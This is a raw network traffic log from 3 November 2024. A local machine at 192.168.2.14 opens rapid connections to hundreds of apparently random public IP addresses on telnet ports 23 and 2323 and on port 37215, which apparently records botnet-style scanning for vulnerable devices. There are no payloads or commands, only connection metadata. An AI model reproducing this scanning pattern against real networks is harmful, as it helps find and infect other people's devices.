Nov 3, 2024 15:33:11.126570940 CET	4833	23	192.168.2.14	118.184.140.7
Nov 3, 2024 15:33:11.126571894 CET	23	4833	140.215.30.98	192.168.2.14
Nov 3, 2024 15:33:11.126576900 CET	23	4833	112.255.193.230	192.168.2.14
Nov 3, 2024 15:33:11.126585960 CET	23	4833	110.90.84.35	192.168.2.14
Nov 3, 2024 15:33:11.126594067 CET	23	4833	9.187.18.204	192.168.2.14
Nov 3, 2024 15:33:11.126602888 CET	23	4833	170.198.211.137	192.168.2.14
Nov 3, 2024 15:33:11.126610994 CET	4833	2323	192.168.2.14	130.234.175.231
Nov 3, 2024 15:33:11.126610994 CET	23	4833	145.200.61.238	192.168.2.14
Nov 3, 2024 15:33:11.126611948 CET	4833	23	192.168.2.14	76.138.124.126
Nov 3, 2024 15:33:11.126619101 CET	23	4833	54.115.171.21	192.168.2.14
Nov 3, 2024 15:33:11.126625061 CET	4833	23	192.168.2.14	140.215.30.98
Nov 3, 2024 15:33:11.126626968 CET	4833	23	192.168.2.14	110.90.84.35
Nov 3, 2024 15:33:11.126626968 CET	4833	23	192.168.2.14	5.217.183.113
Nov 3, 2024 15:33:11.126626015 CET	4833	23	192.168.2.14	112.255.193.230
Nov 3, 2024 15:33:11.126629114 CET	23	4833	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:11.126626015 CET	4833	23	192.168.2.14	9.187.18.204
Nov 3, 2024 15:33:11.126626968 CET	4833	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:11.126638889 CET	4833	23	192.168.2.14	145.200.61.238
Nov 3, 2024 15:33:11.126640081 CET	23	4833	221.125.157.173	192.168.2.14
Nov 3, 2024 15:33:11.126647949 CET	23	4833	95.124.62.123	192.168.2.14
Nov 3, 2024 15:33:11.126657009 CET	23	4833	118.209.41.35	192.168.2.14
Nov 3, 2024 15:33:11.126662970 CET	4833	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:11.126662970 CET	4833	23	192.168.2.14	221.125.157.173
Nov 3, 2024 15:33:11.126663923 CET	4833	23	192.168.2.14	54.115.171.21
Nov 3, 2024 15:33:11.126665115 CET	23	4833	200.19.151.133	192.168.2.14
Nov 3, 2024 15:33:11.126673937 CET	23	4833	148.58.186.24	192.168.2.14
Nov 3, 2024 15:33:11.126681089 CET	4833	23	192.168.2.14	95.124.62.123
Nov 3, 2024 15:33:11.126681089 CET	23	4833	122.197.11.138	192.168.2.14
Nov 3, 2024 15:33:11.126681089 CET	4833	23	192.168.2.14	118.209.41.35
Nov 3, 2024 15:33:11.126691103 CET	23	4833	149.100.124.48	192.168.2.14
Nov 3, 2024 15:33:11.126698971 CET	4833	23	192.168.2.14	200.19.151.133
Nov 3, 2024 15:33:11.126699924 CET	2323	4833	170.249.147.34	192.168.2.14
Nov 3, 2024 15:33:11.126709938 CET	2323	4833	60.131.131.0	192.168.2.14
Nov 3, 2024 15:33:11.126709938 CET	4833	23	192.168.2.14	148.58.186.24
Nov 3, 2024 15:33:11.126719952 CET	23	4833	1.38.89.177	192.168.2.14
Nov 3, 2024 15:33:11.126722097 CET	4833	23	192.168.2.14	122.197.11.138
Nov 3, 2024 15:33:11.126733065 CET	4833	23	192.168.2.14	149.100.124.48
Nov 3, 2024 15:33:11.126733065 CET	4833	2323	192.168.2.14	60.131.131.0
Nov 3, 2024 15:33:11.126734972 CET	23	4833	45.199.189.96	192.168.2.14
Nov 3, 2024 15:33:11.126761913 CET	4833	23	192.168.2.14	1.38.89.177
Nov 3, 2024 15:33:11.126765966 CET	4833	23	192.168.2.14	45.199.189.96
Nov 3, 2024 15:33:11.126768112 CET	4833	2323	192.168.2.14	170.249.147.34
Nov 3, 2024 15:33:11.175343990 CET	23	37066	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:11.175473928 CET	37066	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:11.175837994 CET	37216	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:11.176574945 CET	54690	23	192.168.2.14	86.99.79.53
Nov 3, 2024 15:33:11.177301884 CET	53724	2323	192.168.2.14	117.188.142.142
Nov 3, 2024 15:33:11.178054094 CET	46566	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.178792000 CET	58376	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.179512978 CET	36318	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.180262089 CET	58138	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:11.180361986 CET	23	37066	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:11.180655003 CET	23	37216	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:11.180696011 CET	37216	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:11.180974960 CET	41986	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:11.181699991 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:11.182380915 CET	38182	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:11.182653904 CET	23	54690	86.99.79.53	192.168.2.14
Nov 3, 2024 15:33:11.182693958 CET	54690	23	192.168.2.14	86.99.79.53
Nov 3, 2024 15:33:11.183098078 CET	33594	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:11.183226109 CET	2323	53724	117.188.142.142	192.168.2.14
Nov 3, 2024 15:33:11.183265924 CET	53724	2323	192.168.2.14	117.188.142.142
Nov 3, 2024 15:33:11.183267117 CET	23	46566	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.183310032 CET	46566	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.183567047 CET	23	58376	14.92.73.42	192.168.2.14
Nov 3, 2024 15:33:11.183602095 CET	58376	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.183773041 CET	51118	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:11.184453011 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:11.185178995 CET	49076	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:11.185616970 CET	23	36318	43.247.67.68	192.168.2.14
Nov 3, 2024 15:33:11.185662031 CET	36318	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.185875893 CET	41414	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:11.186563015 CET	42106	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:11.187247992 CET	38510	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:11.187946081 CET	42632	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:11.188608885 CET	54266	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:11.189301014 CET	56056	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:11.189542055 CET	23	58376	14.92.73.42	192.168.2.14
Nov 3, 2024 15:33:11.189979076 CET	60286	23	192.168.2.14	213.68.148.191
Nov 3, 2024 15:33:11.190673113 CET	56582	23	192.168.2.14	48.189.3.86
Nov 3, 2024 15:33:11.191337109 CET	55060	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.191608906 CET	23	36318	43.247.67.68	192.168.2.14
Nov 3, 2024 15:33:11.192030907 CET	44486	23	192.168.2.14	101.178.28.59
Nov 3, 2024 15:33:11.192711115 CET	36564	2323	192.168.2.14	216.91.231.125
Nov 3, 2024 15:33:11.192759037 CET	36318	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.192761898 CET	58376	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.193393946 CET	49976	23	192.168.2.14	170.59.216.178
Nov 3, 2024 15:33:11.194080114 CET	55092	23	192.168.2.14	195.159.124.194
Nov 3, 2024 15:33:11.194735050 CET	60358	23	192.168.2.14	160.222.111.197
Nov 3, 2024 15:33:11.195386887 CET	34770	23	192.168.2.14	125.16.156.71
Nov 3, 2024 15:33:11.196052074 CET	49218	23	192.168.2.14	223.117.158.56
Nov 3, 2024 15:33:11.196695089 CET	59130	23	192.168.2.14	189.211.27.181
Nov 3, 2024 15:33:11.196763039 CET	48790	23	192.168.2.14	149.229.95.150
Nov 3, 2024 15:33:11.196763039 CET	46330	23	192.168.2.14	47.211.156.147
Nov 3, 2024 15:33:11.196773052 CET	44308	23	192.168.2.14	126.121.188.121
Nov 3, 2024 15:33:11.196774960 CET	47062	23	192.168.2.14	151.141.133.84
Nov 3, 2024 15:33:11.196777105 CET	39148	23	192.168.2.14	57.77.17.204
Nov 3, 2024 15:33:11.196789026 CET	43440	2323	192.168.2.14	185.179.141.90
Nov 3, 2024 15:33:11.196789026 CET	53796	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:11.196789980 CET	42002	23	192.168.2.14	81.202.219.153
Nov 3, 2024 15:33:11.196795940 CET	59428	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:11.196799994 CET	53796	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:11.197316885 CET	23	55060	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:11.197355986 CET	55060	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.197396040 CET	41102	23	192.168.2.14	130.173.150.45
Nov 3, 2024 15:33:11.198069096 CET	39150	2323	192.168.2.14	121.222.205.245
Nov 3, 2024 15:33:11.198719978 CET	56416	23	192.168.2.14	152.173.229.196
Nov 3, 2024 15:33:11.199393034 CET	51004	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.200042963 CET	46364	23	192.168.2.14	40.192.9.160
Nov 3, 2024 15:33:11.200712919 CET	36510	23	192.168.2.14	169.102.108.197
Nov 3, 2024 15:33:11.200763941 CET	55692	37215	192.168.2.14	156.152.67.146
Nov 3, 2024 15:33:11.200771093 CET	36582	37215	192.168.2.14	41.165.33.211
Nov 3, 2024 15:33:11.200771093 CET	43796	37215	192.168.2.14	156.79.181.88
Nov 3, 2024 15:33:11.200778961 CET	41352	37215	192.168.2.14	41.215.186.20
Nov 3, 2024 15:33:11.200781107 CET	42996	37215	192.168.2.14	41.89.192.221
Nov 3, 2024 15:33:11.200781107 CET	34184	37215	192.168.2.14	156.237.223.183
Nov 3, 2024 15:33:11.200783968 CET	52354	37215	192.168.2.14	41.200.60.53
Nov 3, 2024 15:33:11.200784922 CET	57304	37215	192.168.2.14	41.149.135.100
Nov 3, 2024 15:33:11.200792074 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:11.200793982 CET	43106	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:11.200799942 CET	56522	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:11.200803995 CET	60604	37215	192.168.2.14	197.40.97.9
Nov 3, 2024 15:33:11.200814009 CET	32884	37215	192.168.2.14	41.73.145.143
Nov 3, 2024 15:33:11.200817108 CET	37820	37215	192.168.2.14	156.116.193.70
Nov 3, 2024 15:33:11.200819016 CET	52644	37215	192.168.2.14	156.141.61.80
Nov 3, 2024 15:33:11.200824022 CET	41720	37215	192.168.2.14	156.230.176.53
Nov 3, 2024 15:33:11.200824976 CET	54890	37215	192.168.2.14	197.13.1.213
Nov 3, 2024 15:33:11.200824976 CET	44672	37215	192.168.2.14	156.1.212.225
Nov 3, 2024 15:33:11.200838089 CET	38788	37215	192.168.2.14	41.216.165.232
Nov 3, 2024 15:33:11.200841904 CET	44598	37215	192.168.2.14	41.78.4.178
Nov 3, 2024 15:33:11.200846910 CET	36342	37215	192.168.2.14	197.150.8.47
Nov 3, 2024 15:33:11.200849056 CET	44576	37215	192.168.2.14	197.152.180.44
Nov 3, 2024 15:33:11.200855017 CET	56586	37215	192.168.2.14	156.134.16.37
Nov 3, 2024 15:33:11.200858116 CET	55646	37215	192.168.2.14	156.59.172.146
Nov 3, 2024 15:33:11.200860023 CET	38768	37215	192.168.2.14	197.115.157.163
Nov 3, 2024 15:33:11.200860023 CET	57902	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:11.201487064 CET	57790	23	192.168.2.14	217.28.4.151
Nov 3, 2024 15:33:11.202157974 CET	58110	23	192.168.2.14	103.136.202.146
Nov 3, 2024 15:33:11.202816010 CET	42852	23	192.168.2.14	105.20.168.248
Nov 3, 2024 15:33:11.202862978 CET	23	55060	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:11.203478098 CET	34720	2323	192.168.2.14	157.3.181.215
Nov 3, 2024 15:33:11.204123020 CET	57644	23	192.168.2.14	210.104.191.129
Nov 3, 2024 15:33:11.204751015 CET	55060	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.204802990 CET	53486	23	192.168.2.14	105.90.5.21
Nov 3, 2024 15:33:11.205018044 CET	23	51004	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:11.205060005 CET	51004	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.205482960 CET	4847	37215	192.168.2.14	197.82.97.237
Nov 3, 2024 15:33:11.205485106 CET	4847	37215	192.168.2.14	156.191.132.9
Nov 3, 2024 15:33:11.205497026 CET	4847	37215	192.168.2.14	156.67.218.87
Nov 3, 2024 15:33:11.205497026 CET	4847	37215	192.168.2.14	197.119.228.107
Nov 3, 2024 15:33:11.205497980 CET	4847	37215	192.168.2.14	41.111.210.64
Nov 3, 2024 15:33:11.205498934 CET	4847	37215	192.168.2.14	156.224.239.206
Nov 3, 2024 15:33:11.205501080 CET	4847	37215	192.168.2.14	156.111.248.47
Nov 3, 2024 15:33:11.205501080 CET	4847	37215	192.168.2.14	156.221.47.31
Nov 3, 2024 15:33:11.205507040 CET	4847	37215	192.168.2.14	41.142.15.1
Nov 3, 2024 15:33:11.205507994 CET	4847	37215	192.168.2.14	41.135.226.201
Nov 3, 2024 15:33:11.205508947 CET	4847	37215	192.168.2.14	197.87.43.157
Nov 3, 2024 15:33:11.205512047 CET	4847	37215	192.168.2.14	41.224.31.210
Nov 3, 2024 15:33:11.205512047 CET	4847	37215	192.168.2.14	197.218.96.229
Nov 3, 2024 15:33:11.205519915 CET	4847	37215	192.168.2.14	156.34.162.12
Nov 3, 2024 15:33:11.205519915 CET	4847	37215	192.168.2.14	156.47.117.56
Nov 3, 2024 15:33:11.205523014 CET	4847	37215	192.168.2.14	156.44.49.9
Nov 3, 2024 15:33:11.205528021 CET	4847	37215	192.168.2.14	197.159.146.1
Nov 3, 2024 15:33:11.205535889 CET	4847	37215	192.168.2.14	41.121.247.125
Nov 3, 2024 15:33:11.205548048 CET	4847	37215	192.168.2.14	197.244.168.20
Nov 3, 2024 15:33:11.205554008 CET	4847	37215	192.168.2.14	197.134.222.97
Nov 3, 2024 15:33:11.205554008 CET	4847	37215	192.168.2.14	156.20.102.1
Nov 3, 2024 15:33:11.205554008 CET	4847	37215	192.168.2.14	197.183.223.88
Nov 3, 2024 15:33:11.205571890 CET	4847	37215	192.168.2.14	197.161.156.70
Nov 3, 2024 15:33:11.205579042 CET	4847	37215	192.168.2.14	156.230.157.210
Nov 3, 2024 15:33:11.205581903 CET	4847	37215	192.168.2.14	197.71.106.40
Nov 3, 2024 15:33:11.205589056 CET	4847	37215	192.168.2.14	197.215.189.129
Nov 3, 2024 15:33:11.205600023 CET	4847	37215	192.168.2.14	156.140.24.38
Nov 3, 2024 15:33:11.205604076 CET	4847	37215	192.168.2.14	156.163.186.20
Nov 3, 2024 15:33:11.205604076 CET	4847	37215	192.168.2.14	156.102.30.56
Nov 3, 2024 15:33:11.205617905 CET	4847	37215	192.168.2.14	156.74.224.0
Nov 3, 2024 15:33:11.205621958 CET	4847	37215	192.168.2.14	41.139.49.0
Nov 3, 2024 15:33:11.205626011 CET	4847	37215	192.168.2.14	197.156.7.251
Nov 3, 2024 15:33:11.205647945 CET	4847	37215	192.168.2.14	41.195.174.39
Nov 3, 2024 15:33:11.205647945 CET	4847	37215	192.168.2.14	197.4.122.201
Nov 3, 2024 15:33:11.205657959 CET	4847	37215	192.168.2.14	156.182.62.228
Nov 3, 2024 15:33:11.205658913 CET	4847	37215	192.168.2.14	197.95.11.8
Nov 3, 2024 15:33:11.205658913 CET	4847	37215	192.168.2.14	156.202.7.158
Nov 3, 2024 15:33:11.205660105 CET	4847	37215	192.168.2.14	197.219.176.70
Nov 3, 2024 15:33:11.205660105 CET	4847	37215	192.168.2.14	156.244.244.149
Nov 3, 2024 15:33:11.205662012 CET	4847	37215	192.168.2.14	197.28.30.171
Nov 3, 2024 15:33:11.205662012 CET	4847	37215	192.168.2.14	197.232.41.120
Nov 3, 2024 15:33:11.205671072 CET	4847	37215	192.168.2.14	197.201.31.81
Nov 3, 2024 15:33:11.205678940 CET	4847	37215	192.168.2.14	156.185.179.74
Nov 3, 2024 15:33:11.205681086 CET	4847	37215	192.168.2.14	156.45.67.226
Nov 3, 2024 15:33:11.205693007 CET	4847	37215	192.168.2.14	197.220.102.0
Nov 3, 2024 15:33:11.205694914 CET	4847	37215	192.168.2.14	156.27.191.191
Nov 3, 2024 15:33:11.205698967 CET	4847	37215	192.168.2.14	156.194.84.151
Nov 3, 2024 15:33:11.205707073 CET	4847	37215	192.168.2.14	156.237.49.75
Nov 3, 2024 15:33:11.205708027 CET	4847	37215	192.168.2.14	197.31.207.168
Nov 3, 2024 15:33:11.205712080 CET	4847	37215	192.168.2.14	156.10.128.63
Nov 3, 2024 15:33:11.205713987 CET	4847	37215	192.168.2.14	41.42.251.234
Nov 3, 2024 15:33:11.205719948 CET	4847	37215	192.168.2.14	41.152.14.222
Nov 3, 2024 15:33:11.205730915 CET	4847	37215	192.168.2.14	41.208.11.11
Nov 3, 2024 15:33:11.205735922 CET	4847	37215	192.168.2.14	156.56.2.81
Nov 3, 2024 15:33:11.205738068 CET	4847	37215	192.168.2.14	197.109.209.193
Nov 3, 2024 15:33:11.205750942 CET	4847	37215	192.168.2.14	156.28.179.104
Nov 3, 2024 15:33:11.205754042 CET	4847	37215	192.168.2.14	41.97.138.225
Nov 3, 2024 15:33:11.205763102 CET	4847	37215	192.168.2.14	156.226.79.175
Nov 3, 2024 15:33:11.205765963 CET	4847	37215	192.168.2.14	156.154.112.24
Nov 3, 2024 15:33:11.205780983 CET	4847	37215	192.168.2.14	41.121.234.193
Nov 3, 2024 15:33:11.205785036 CET	4847	37215	192.168.2.14	197.95.236.164
Nov 3, 2024 15:33:11.205785036 CET	4847	37215	192.168.2.14	156.110.130.27
Nov 3, 2024 15:33:11.205794096 CET	4847	37215	192.168.2.14	197.0.65.49
Nov 3, 2024 15:33:11.205801964 CET	4847	37215	192.168.2.14	41.162.244.250
Nov 3, 2024 15:33:11.205815077 CET	4847	37215	192.168.2.14	197.203.31.136
Nov 3, 2024 15:33:11.205820084 CET	4847	37215	192.168.2.14	156.54.59.2
Nov 3, 2024 15:33:11.205821991 CET	4847	37215	192.168.2.14	41.11.156.247
Nov 3, 2024 15:33:11.205825090 CET	4847	37215	192.168.2.14	156.250.40.100
Nov 3, 2024 15:33:11.205826044 CET	4847	37215	192.168.2.14	156.150.219.11
Nov 3, 2024 15:33:11.205826044 CET	4847	37215	192.168.2.14	41.7.237.47
Nov 3, 2024 15:33:11.205831051 CET	4847	37215	192.168.2.14	197.196.26.85
Nov 3, 2024 15:33:11.205835104 CET	4847	37215	192.168.2.14	197.148.94.78
Nov 3, 2024 15:33:11.205843925 CET	4847	37215	192.168.2.14	41.198.69.103
Nov 3, 2024 15:33:11.205845118 CET	4847	37215	192.168.2.14	197.149.80.255
Nov 3, 2024 15:33:11.205853939 CET	4847	37215	192.168.2.14	197.221.227.243
Nov 3, 2024 15:33:11.205857038 CET	4847	37215	192.168.2.14	197.65.249.88
Nov 3, 2024 15:33:11.205867052 CET	4847	37215	192.168.2.14	156.255.228.45
Nov 3, 2024 15:33:11.205868006 CET	4847	37215	192.168.2.14	41.32.103.128
Nov 3, 2024 15:33:11.205878019 CET	4847	37215	192.168.2.14	156.64.165.3
Nov 3, 2024 15:33:11.205883026 CET	4847	37215	192.168.2.14	41.45.93.236
Nov 3, 2024 15:33:11.205893993 CET	4847	37215	192.168.2.14	156.138.63.209
Nov 3, 2024 15:33:11.205899000 CET	4847	37215	192.168.2.14	156.169.48.159
Nov 3, 2024 15:33:11.205899954 CET	4847	37215	192.168.2.14	41.219.16.58
Nov 3, 2024 15:33:11.205907106 CET	4847	37215	192.168.2.14	41.105.124.84
Nov 3, 2024 15:33:11.205924034 CET	4847	37215	192.168.2.14	197.236.191.101
Nov 3, 2024 15:33:11.205924034 CET	4847	37215	192.168.2.14	41.220.61.64
Nov 3, 2024 15:33:11.205924034 CET	4847	37215	192.168.2.14	197.242.82.73
Nov 3, 2024 15:33:11.205935001 CET	4847	37215	192.168.2.14	156.170.6.217
Nov 3, 2024 15:33:11.205945015 CET	4847	37215	192.168.2.14	197.150.53.101
Nov 3, 2024 15:33:11.205950022 CET	4847	37215	192.168.2.14	156.183.150.69
Nov 3, 2024 15:33:11.205956936 CET	4847	37215	192.168.2.14	156.238.27.126
Nov 3, 2024 15:33:11.205959082 CET	4847	37215	192.168.2.14	156.177.22.100
Nov 3, 2024 15:33:11.205975056 CET	4847	37215	192.168.2.14	197.57.221.95
Nov 3, 2024 15:33:11.205976963 CET	4847	37215	192.168.2.14	197.45.216.253
Nov 3, 2024 15:33:11.205985069 CET	4847	37215	192.168.2.14	156.208.105.227
Nov 3, 2024 15:33:11.205992937 CET	4847	37215	192.168.2.14	156.113.137.144
Nov 3, 2024 15:33:11.206002951 CET	4847	37215	192.168.2.14	41.224.177.31
Nov 3, 2024 15:33:11.206003904 CET	4847	37215	192.168.2.14	197.253.96.99
Nov 3, 2024 15:33:11.206010103 CET	4847	37215	192.168.2.14	41.148.213.159
Nov 3, 2024 15:33:11.206015110 CET	4847	37215	192.168.2.14	41.28.107.123
Nov 3, 2024 15:33:11.206017971 CET	4847	37215	192.168.2.14	197.186.240.90
Nov 3, 2024 15:33:11.206034899 CET	4847	37215	192.168.2.14	197.91.252.38
Nov 3, 2024 15:33:11.206042051 CET	4847	37215	192.168.2.14	197.32.170.84
Nov 3, 2024 15:33:11.206043005 CET	4847	37215	192.168.2.14	156.202.118.128
Nov 3, 2024 15:33:11.206043959 CET	4847	37215	192.168.2.14	197.99.15.65
Nov 3, 2024 15:33:11.206051111 CET	4847	37215	192.168.2.14	156.189.145.175
Nov 3, 2024 15:33:11.206058979 CET	4847	37215	192.168.2.14	197.197.15.19
Nov 3, 2024 15:33:11.206068993 CET	4847	37215	192.168.2.14	41.15.98.88
Nov 3, 2024 15:33:11.206074953 CET	4847	37215	192.168.2.14	156.239.72.192
Nov 3, 2024 15:33:11.206096888 CET	4847	37215	192.168.2.14	197.7.194.98
Nov 3, 2024 15:33:11.206103086 CET	4847	37215	192.168.2.14	41.11.160.162
Nov 3, 2024 15:33:11.206103086 CET	4847	37215	192.168.2.14	156.129.68.254
Nov 3, 2024 15:33:11.206103086 CET	4847	37215	192.168.2.14	197.175.108.133
Nov 3, 2024 15:33:11.206110001 CET	4847	37215	192.168.2.14	197.149.110.203
Nov 3, 2024 15:33:11.206110001 CET	4847	37215	192.168.2.14	41.19.172.155
Nov 3, 2024 15:33:11.206110001 CET	4847	37215	192.168.2.14	41.7.121.198
Nov 3, 2024 15:33:11.206126928 CET	4847	37215	192.168.2.14	197.237.146.67
Nov 3, 2024 15:33:11.206126928 CET	4847	37215	192.168.2.14	41.249.221.69
Nov 3, 2024 15:33:11.206126928 CET	4847	37215	192.168.2.14	41.196.64.231
Nov 3, 2024 15:33:11.206126928 CET	4847	37215	192.168.2.14	156.227.18.161
Nov 3, 2024 15:33:11.206126928 CET	4847	37215	192.168.2.14	41.99.39.178
Nov 3, 2024 15:33:11.206130028 CET	4847	37215	192.168.2.14	156.25.55.125
Nov 3, 2024 15:33:11.206130981 CET	4847	37215	192.168.2.14	156.80.194.238
Nov 3, 2024 15:33:11.206135035 CET	4847	37215	192.168.2.14	41.104.93.133
Nov 3, 2024 15:33:11.206139088 CET	4847	37215	192.168.2.14	156.23.145.75
Nov 3, 2024 15:33:11.206151962 CET	4847	37215	192.168.2.14	41.1.165.198
Nov 3, 2024 15:33:11.206151962 CET	4847	37215	192.168.2.14	41.78.27.202
Nov 3, 2024 15:33:11.206152916 CET	4847	37215	192.168.2.14	156.43.187.12
Nov 3, 2024 15:33:11.206156969 CET	4847	37215	192.168.2.14	197.9.102.220
Nov 3, 2024 15:33:11.206156969 CET	4847	37215	192.168.2.14	156.36.143.32
Nov 3, 2024 15:33:11.206156969 CET	4847	37215	192.168.2.14	197.144.140.1
Nov 3, 2024 15:33:11.206156969 CET	4847	37215	192.168.2.14	197.35.9.69
Nov 3, 2024 15:33:11.206162930 CET	4847	37215	192.168.2.14	156.122.0.71
Nov 3, 2024 15:33:11.206182957 CET	4847	37215	192.168.2.14	156.238.99.189
Nov 3, 2024 15:33:11.206182957 CET	4847	37215	192.168.2.14	41.29.65.114
Nov 3, 2024 15:33:11.206183910 CET	4847	37215	192.168.2.14	41.151.183.250
Nov 3, 2024 15:33:11.206185102 CET	4847	37215	192.168.2.14	41.66.174.249
Nov 3, 2024 15:33:11.206185102 CET	4847	37215	192.168.2.14	197.61.17.54
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	41.171.113.187
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	41.249.2.177
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	156.139.58.113
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	41.91.44.98
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	197.118.92.46
Nov 3, 2024 15:33:11.206186056 CET	4847	37215	192.168.2.14	41.232.207.124
Nov 3, 2024 15:33:11.206187963 CET	4847	37215	192.168.2.14	156.249.184.44
Nov 3, 2024 15:33:11.206204891 CET	4847	37215	192.168.2.14	156.14.42.156
Nov 3, 2024 15:33:11.206204891 CET	4847	37215	192.168.2.14	41.148.43.189
Nov 3, 2024 15:33:11.206207991 CET	4847	37215	192.168.2.14	41.126.153.196
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	41.144.232.92
Nov 3, 2024 15:33:11.206207991 CET	4847	37215	192.168.2.14	41.97.42.118
Nov 3, 2024 15:33:11.206207991 CET	4847	37215	192.168.2.14	41.107.89.108
Nov 3, 2024 15:33:11.206207991 CET	4847	37215	192.168.2.14	156.247.10.8
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	156.146.169.222
Nov 3, 2024 15:33:11.206207991 CET	4847	37215	192.168.2.14	197.119.63.207
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	41.190.133.242
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	41.79.156.23
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	156.120.113.121
Nov 3, 2024 15:33:11.206208944 CET	4847	37215	192.168.2.14	156.93.87.235
Nov 3, 2024 15:33:11.206213951 CET	4847	37215	192.168.2.14	41.162.90.193
Nov 3, 2024 15:33:11.206213951 CET	4847	37215	192.168.2.14	197.49.235.103
Nov 3, 2024 15:33:11.206213951 CET	4847	37215	192.168.2.14	197.162.154.173
Nov 3, 2024 15:33:11.206222057 CET	4847	37215	192.168.2.14	197.178.229.46
Nov 3, 2024 15:33:11.206228971 CET	4847	37215	192.168.2.14	156.45.14.54
Nov 3, 2024 15:33:11.206228971 CET	4847	37215	192.168.2.14	156.229.182.81
Nov 3, 2024 15:33:11.206231117 CET	4847	37215	192.168.2.14	41.118.195.202
Nov 3, 2024 15:33:11.206231117 CET	4847	37215	192.168.2.14	156.131.151.19
Nov 3, 2024 15:33:11.206231117 CET	4847	37215	192.168.2.14	156.123.45.22
Nov 3, 2024 15:33:11.206232071 CET	4847	37215	192.168.2.14	156.79.171.181
Nov 3, 2024 15:33:11.206232071 CET	4847	37215	192.168.2.14	197.151.84.39
Nov 3, 2024 15:33:11.206232071 CET	4847	37215	192.168.2.14	41.248.124.39
Nov 3, 2024 15:33:11.206232071 CET	4847	37215	192.168.2.14	156.62.191.96
Nov 3, 2024 15:33:11.206248999 CET	4847	37215	192.168.2.14	197.194.180.104
Nov 3, 2024 15:33:11.206248999 CET	4847	37215	192.168.2.14	41.142.125.69
Nov 3, 2024 15:33:11.206248999 CET	4847	37215	192.168.2.14	41.39.31.45
Nov 3, 2024 15:33:11.206250906 CET	4847	37215	192.168.2.14	197.129.99.210
Nov 3, 2024 15:33:11.206250906 CET	4847	37215	192.168.2.14	156.119.35.115
Nov 3, 2024 15:33:11.206252098 CET	4847	37215	192.168.2.14	156.93.111.24
Nov 3, 2024 15:33:11.206255913 CET	4847	37215	192.168.2.14	156.8.56.225
Nov 3, 2024 15:33:11.206258059 CET	4847	37215	192.168.2.14	41.82.164.174
Nov 3, 2024 15:33:11.206258059 CET	4847	37215	192.168.2.14	156.165.26.127
Nov 3, 2024 15:33:11.206259012 CET	4847	37215	192.168.2.14	197.15.141.39
Nov 3, 2024 15:33:11.206259012 CET	4847	37215	192.168.2.14	41.112.185.121
Nov 3, 2024 15:33:11.206259012 CET	4847	37215	192.168.2.14	197.241.204.3
Nov 3, 2024 15:33:11.206263065 CET	4847	37215	192.168.2.14	41.192.246.85
Nov 3, 2024 15:33:11.206263065 CET	4847	37215	192.168.2.14	156.183.64.197
Nov 3, 2024 15:33:11.206268072 CET	4847	37215	192.168.2.14	197.159.137.78
Nov 3, 2024 15:33:11.206268072 CET	4847	37215	192.168.2.14	41.236.235.246
Nov 3, 2024 15:33:11.206275940 CET	4847	37215	192.168.2.14	156.237.212.221
Nov 3, 2024 15:33:11.206275940 CET	4847	37215	192.168.2.14	156.146.73.145
